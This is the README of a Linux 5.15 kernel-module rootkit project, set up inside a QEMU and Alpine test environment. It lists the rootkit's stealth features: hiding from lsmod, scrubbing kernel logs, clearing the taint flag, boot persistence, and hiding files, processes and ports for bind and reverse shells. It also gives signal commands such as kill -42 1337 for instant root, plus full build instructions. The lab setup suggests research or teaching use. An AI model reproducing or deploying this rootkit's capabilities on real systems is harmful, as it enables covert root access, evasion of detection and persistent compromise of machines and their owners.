This is a LKM (Loadable Kernel Module) rootkit with stealth and persistence capabilities.
Based on Linux kernel LTS branch 5.15.
It uses syscall hooking for most of its functionalities, and signals for userland communication.
This project also includes a complete automated build system (using Makefiles) for the kernel and the root filesystem, and easy running with QEMU.
It also includes a companion program that is compiled and copied to the home directory of user (/home/user) in the RootFS.
The whole process is automated using Makefiles.
The kernel is automatically downloaded from the official Linux Git repository, and the root filesystem is created from a minimal Alpine Linux image using Docker.
The RootFS is built with the following features:
- Bootloader: GRUB
- APK packages:
openrc,util-linux,build-base,vim,python3,strace,tmux- Allows for easy debugging and testing
- Services:
devfs:/devfilesystemprocfs:/procfilesystemsysfs:/sysfilesystemnetworking: internet accesslocal: runs scripts at boot (used for rootkit persistence)
- Users:
root: passwordroot- RootFS automatically logs in as
rootafter boot
- RootFS automatically logs in as
user: passworduser(or usesu -l userto switch to this user)- Has no special privileges, used to test privilege escalation
- Shell:
ashwith colored prompt - Useful aliases:
user:su -l user(switch touser)ll,la,l: classiclsaliaseslsoutput is colored by default
- Stealth: rootkit hides itself (eg. from
/proc/modulesand/sys/module/, used bylsmod)- Can be reversed if necessary (eg. to unload the module)
- Also hides lines containing
"rootkit"from/proc/kmsgand/dev/kmsg(for eg.dmesg), and syscallsys_syslog - It also reverts the kernel taint flag by clearing the
TAINT_OOT_MODULEbit
- Persistence: rootkit copies itself to
/lib/modules/and uses OpenRC'slocalservice to get loaded at boot - Elevate process privileges to root
- Hide files and directories by prefix (
rootkit_*and.rootkit_*), recursively - Hide processes by PID (can also unhide them)
- Also hide processes whose executable name starts with the prefix
- Child processes are automatically hidden
- Hide TCP/UDP ports by number, for IPv4 and IPv6 (can also unhide them)
- Applies to both local and foreign ports, so it can be used for bind and reverse shells
- Authorize specific processes (by PID) to bypass the rootkit's protections
The rookit hooks a LOT of syscalls whenever possible, so that hidden files can never be spotted (eg. can't be listed, opened, deleted, can't cd into a hidden directory, etc.).
The full list of hooked syscalls is generated automatically from the kernel source code during the build process, and can be found in src/inc/hooked_syscalls.h.
You can control the rootkit from userland using custom signals (defined in src/inc/uapi/rootkit.h):
SIGROOT = 42-> Elevate the current process to root (needsPID_SECRET)SIGHIDE = 43-> Hide a process (add the PID to the hidden processes list)SIGSHOW = 44-> Unhide a process (remove the PID from the hidden processes list)SIGAUTH = 45-> Authorize a process (add the PID to the authorized processes list)SIGMODHIDE = 46-> Hide the rootkit (needsPID_SECRET)SIGMODSHOW = 47-> Unhide the rootkit (needsPID_SECRET)SIGPORTHIDE = 48-> Hide a port (add the PID to the hidden ports list)SIGPORTSHOW = 49-> Unhide a port (remove the PID from the hidden ports list)
The User API also defines the following constants:
PID_SELF = 0-> PID of the current processPID_SECRET = 1337-> Secret PID that has to be used when sending some signals
# Become root (the current shell will be elevated)
kill -42 1337
# Hide current shell (PID 0 is the current process)
kill -43 0
# Hide process with PID 1234
kill -43 1234
# Unhide current shell
kill -44 0
# Unhide process with PID 1234
kill -44 1234
# Authorize current shell to bypass rootkit protections
kill -45 0
# Authorize process with PID 1234 to bypass rootkit protections
kill -45 1234
# Hide rootkit
kill -46 1337
# Unhide rootkit
kill -47 1337
# Hide port 12345
kill -48 12345
# Unhide port 12345
kill -49 12345# Debian-like
sudo apt install build-essential git qemu-system-x86 parted libguestfs-tools flex libelf-dev docker.io grub-pc-bin bison libssl-devFor all Makefile targets, any missing dependency will be automatically downloaded and/or built.
# Build rootkit.ko to ./build/
make
# Build rootkit.ko with debug printk enabled
make debug
# Build rootkit.ko with persistance disabled
make nopersist
# Copy build .ko files to ./modules/
make copyUse this command in a normal development process: it will clone the latest stable release from branch 5.15.y, configure and build the kernel, create the RootFS, build the modules, update the RootFS, and run QEMU. It also skips steps that are already up-to-date, so it can be used to quickly test the module after a modification.
# Build kernel and modules, create RootFS, update RootFS, and run QEMU
make run
# Build kernel and modules, create RootFS, update RootFS, and run QEMU with debug printk enabled
make debug run
# Update RootFS without starting QEMU
make updateYou can override the following variables in the make command line:
# Kernel branch
# Modules will be built against this branch
BRANCH = linux-5.15.y
# RootFS disk image file
DISK_IMG = disk.img
# Build directory
BUILD_DIR = $(call relpath,$(ROOT_DIR)/build)
# GCC options:
# Number of jobs to use for sub-make commands (Default: CPU cores + 1)
NJOBS = $(( `nproc` + 1 ))
# Load to use for sub-make commands (Default: 85% of CPU cores)
NLOAD = $(shell echo "$$(nproc) * 0.85" | bc)
# Temporary directory for build files
TMPDIR = /tmpFor example, to build the kernel from branch linux-rolling-lts with 8 jobs, and create the RootFS disk image file rolling.img, use the following command:
make BRANCH=linux-rolling-lts NJOBS=8 DISK_IMG=rolling.img runTo create a RootFS QCOW2 disk image from file rolling.img, use the following command:
# This will create rolling.qcow2
make DISK_IMG=rolling.img qcow2# Build companion program (can be found in ./companion/)
make companion
# Build rootkit module (default; implies make kernel_modules)
make modules
# Build rootkit module with debug printk enabled (implies make modules)
# (in debug mode, the module is not persistent)
make debug
# Build rootkit module with persistance disabled (implies make modules)
make nopersist
# Copy .ko files to ./modules/ (implies make modules)
make copy
# Cleanup rootkit build files
make clean
# Delete ./modules/ directory (implies make clean)
make mrproper
# Clone latest stable kernel release from branch 5.15.y
make clone
# Pull latest changes from branch 5.15.y (implies make clone)
make pull
# Configure kernel (implies make clone)
make config
# Build kernel bzImage (implies make config)
make kernel_bzimage
# Build kernel modules (implies make kernel)
make kernel_modules
# Build kernel and modules (implies make kernel_bzimage kernel_modules)
make kernel
# Generate kernel headers
make kernel_headers
# Create RootFS disk.img file
make rootfs
# Create RootFS disk.qcow2 file (implies make rootfs)
make qcow2
# Generate syscall hook header file (inc/hooked_syscalls.h)
make syscalls
# Strip symbols from build modules in ./modules/ (implies make copy)
# (experimental, usually breaks the module)
make strip
# Update RootFS with new kernel/modules/test files
# (implies make kernel_bzimage kernel_headers rootfs copy)
make update
# Run QEMU with disk.img image (implies make update)
make run
# Debug Makefile variables (does not build anything)
make vars